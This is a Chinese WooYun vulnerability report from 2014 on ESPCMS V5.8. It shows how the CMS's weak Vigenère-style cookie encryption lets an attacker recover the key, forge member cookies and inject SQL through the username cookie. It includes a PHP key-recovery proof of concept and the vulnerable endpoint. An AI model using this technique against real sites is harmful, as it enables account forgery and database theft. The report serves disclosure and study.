当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(25) 关注此漏洞

缺陷编号: WooYun-2014-62528

漏洞标题: ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: 索马里的海贼

提交时间: 2014-05-27 16:42

公开时间: 2014-08-22 16:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-06-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-26: 细节向核心白帽子及相关领域专家公开
2014-08-05: 细节向普通白帽子公开
2014-08-15: 细节向实习白帽子公开
2014-08-22: 细节向公众公开

简要描述:

弱加密算法的悲剧 伪造任意用户登录 注入 一系列问题

详细说明:

/public/class_dbmysql.php行144

code 区域
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar)); //看到这应该懂了
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}



很明显用的维吉尼亚密码算法。

这个算法。。。key 原始文本 结果 3个值互相交换位置都可以运算

只要知道其中两个就能算出第三个,跟异或差不多。

来看看cookie的处理:

/interface/member.php 行109

code 区域
$this->fun->setcookie('ecisp_member_username', $this->fun->eccode($memberread['username'], 'ENCODE', db_pscode));

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));



可以看到 ecisp_member_info这个cookie是由 userid alias integral mcid email等等等等组合起来的 这里先不看后面那么多 因为密钥生成的时候指定长度为20~40 前面这些已经足够我们发挥了

通过注册部分sql语句可以知道 integral默认为0 mcid默认为1 至于alias没有看到初始化的地方,反正这里进sql是null。所以ecisp_member_info的前面部分应该是

userid||0|1|email

密钥最长有40位,所以这里我们注册账号的时候填一个很长的email

QQ截图20140527135559.jpg



注册完成之后去个人中心的个人资料修改页面查看源码 能找到userid

比如我的这个是3

好了 完整的前半部分cookie就是

code 区域
3||0|1|22222222222222222222@**.**.**.**|



然后查看当前的cookie 记下ecisp_member_info值 丢进POC

QQ图片20140527160727.jpg



得到这么一串东西

2ed61aee0bba9ff5fa59652ed61aee0bba9ff5

这里说明一下前面的加密算法

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

这里可以看到 key不是从第一位开始加密的 当$i是0或者等于密钥长度的时候

$keychar = substr($key,-1,1) 取的是最后一位 再来看刚才那串东西

code 区域
2ed61aee0bba9ff5fa5965 2ed61aee0bba9ff5



这里我加了个空格 可以看到5965之后就开始重复了

第一位是最后一位(拗口)所以真正的密钥应该是 ed61aee0bba9ff5fa59652 查看一下配置文件验证 没错吧

QQ截图20140527161310.jpg



拿到这个key之后 就可以随意自己构造合法的cookie了



可以利用的地方不少 我这里随便找了一个点

/interface/messmain.php 函数in_ajaxlist()行43

code 区域
function inajaxlist(){
……省略……
$ec_member_username = $this->member_cookieview('username');
if ($ec_member_username) {
$reMem = $this->get_member($ec_member_username);
$this->pagetemplate->assign('member', $reMem);
}



member_cookieview()取到username之后丢给了get_member()

先看member_cookieview()

/public/class_connector.php 行401

code 区域
function member_cookieview($keyword = false) {
$retrunstr = array();
$retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;

$retrunstr['userid'] = intval($retrunstr['userid']);
$retrunstr['integral'] = intval($retrunstr['integral']);
$retrunstr['mcid'] = intval($retrunstr['mcid']);

return !$keyword ? $retrunstr : $retrunstr[$keyword];
}



从cookie中取出之后直接return了 没过滤

再看get_member()

public/class_connector.php 行2141

code 区域
function get_member($username = null, $userid = 0, $returnname = null) {
$db_table = db_prefix . 'member';
$db_where = empty($username) ? " WHERE userid=$userid" : " WHERE username='$username'"; //username直接进查询
$db_sql = "SELECT * FROM $db_table $db_where";
$rsLIST = $this->db->fetch_first($db_sql);
if (!empty($returnname)) {
return $rsLIST[$returnname];
} else {
return $rsLIST;
}
}





总的流程大概就是 cookie->eccode解密->sql; 整流程就通了





漏洞证明:

用获得的key来加密sql注入语句

这里就加了个单引号

23.jpg



修改cookie ecisp_member_username值为生成的字符串

访问/index.php?ac=messmain&at=ajaxlist&did=1&ismess=1

33.jpg





附上计算key的poc

code 区域
$text = ""; //原文
$cookie = ""; //cookie
$dict = "0123456789abcdef";
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) {
for ($k=0; $k < 16; $k++) {
if( chr( ord($bincookie[$j]) - ord($dict[$k]) ) == $text[$j] ){
echo $dict[$k];
}
}
}

修复方案:

换个算法吧

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-22 16:44

厂商回复:

漏洞Rank:13 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-27 16:47 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    算法问题研究研究坑挺多的啊

  2. 2014-05-27 16:48 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)
    0

    怎么又有大漏洞了。ESPCMS漏洞不断啊

  3. 2014-05-28 10:27 | viekst ( 实习白帽子 | Rank:64 漏洞数:11 )
    0

    这个算法问题一直没有修复。

  4. 2014-06-18 17:28 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    厉害啊

  5. 2014-07-16 16:55 | 小飞 ( 实习白帽子 | Rank:52 漏洞数:12 | 挖洞对于16岁的我来说实在是太艰难了!)
    0

    真的很厉害、、、

  6. 2014-08-22 17:54 | IT偏执狂 ( 路人 | Rank:6 漏洞数:3 | 禁锢我们的究竟是什么?)
    0

    危害等级:无影响厂商忽略

  7. 2014-08-22 19:35 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    0

    危害等级:无影响厂商忽略 忽略时间:2014-06-01 16:43

  8. 2014-08-22 23:16 | 飞扬风 ( 普通白帽子 | Rank:528 漏洞数:129 | 追求安全,热爱技术)
    0

    算法问题给这么多钱~

  9. 2015-04-13 22:06 | Forever80s ( 普通白帽子 | Rank:1283 漏洞数:170 )
    0

    漏大马甲了

登录后才能发表评论,请先 登录